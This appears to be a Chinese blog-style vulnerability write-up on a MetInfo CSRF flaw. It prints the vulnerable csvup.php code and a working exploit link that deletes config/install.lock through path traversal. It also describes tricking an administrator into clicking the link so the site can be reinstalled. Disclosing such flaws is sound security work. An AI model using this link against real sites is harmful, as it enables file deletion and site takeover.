1. 程式人生 > >metinfo全版本csrf漏洞(可導致重灌)

metinfo全版本csrf漏洞(可導致重灌)

漏洞檔案/admin/app/batch/csvup.php

程式碼

<?php
$depth='../';
require_once $depth.'../login/login_check.php';
setlocale(LC_ALL,array('zh_CN.gbk','zh_CN.gb2312','zh_CN.gb18030'));
$codeold='gbk';
$codenew='utf-8';
$classflie=explode('_',$fileField);
$classflie=explode('-',$classflie[count($classflie)-1]);
$class1=$classflie[0];
$class2=$classflie[1];
$class3=$classflie[2];
$class=$class3?$class3:($class2?$class2:$class1); 
$classcsv=$db->get_one("select * from $met_column where id=$class");
if(!$classcsv){
metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth);
}
$table=moduledb($classcsv['module']);
$file = fopen($flienamecsv,'r');
$fdata=fgetcsv($file);
foreach($fdata as $key=>$val){
        if(iconv($codeold,$codenew,$val)==$lang_columnhtmlname){$staticnum=$key;}
}
$numcsv=0;
while ($data = fgetcsv($file)){
        $staticone=iconv($codeold,$codenew,$data[$staticnum]);
        if($staticone!=NULL){
                $static[$numcsv+1]=$staticone;
                $static_copy[]=$staticone;
        }
        $dataqrray[]=$data;
        $numcsv++;
}  
fclose($file); 
@file_unlink($flienamecsv);

變數$flienamecsv可控,沒有過濾,跟進file_unlink函式

function file_unlink($file_name) {
        if(file_exists($file_name)) {
                //@chmod($file_name,0777);
                $area_lord = @unlink($file_name);
        }
        return $area_lord;
}

直接刪除檔案,所以我們可以構造路徑,刪除任意檔案,刪除install.lock檔案將導致重灌。

這邊如果!$classcsv就會退出,然後 $classcsv是可控變數$fileField控制的,所以只要賦fileField為1就可以了。

雖然在後臺才能刪除,但是這裡存在CSRF漏洞,沒有任何防禦CSRF的措施,而且是GET直接請求,可以給管理留言等,可以誘使管理訪問我們的連結,後果不堪設想。

安裝完成後,config資料夾存在install.lock


構造刪除install.lock的連結,傳送給管理員,管理員點選(本地admin登入後模擬管理員點選)
連結 http://localhost/admin/app/batch/csvup.php?fileField=1&&flienamecsv=../../../config/install.lock

然後config檔案下的install.lock就被刪除了

導致網站可以重灌。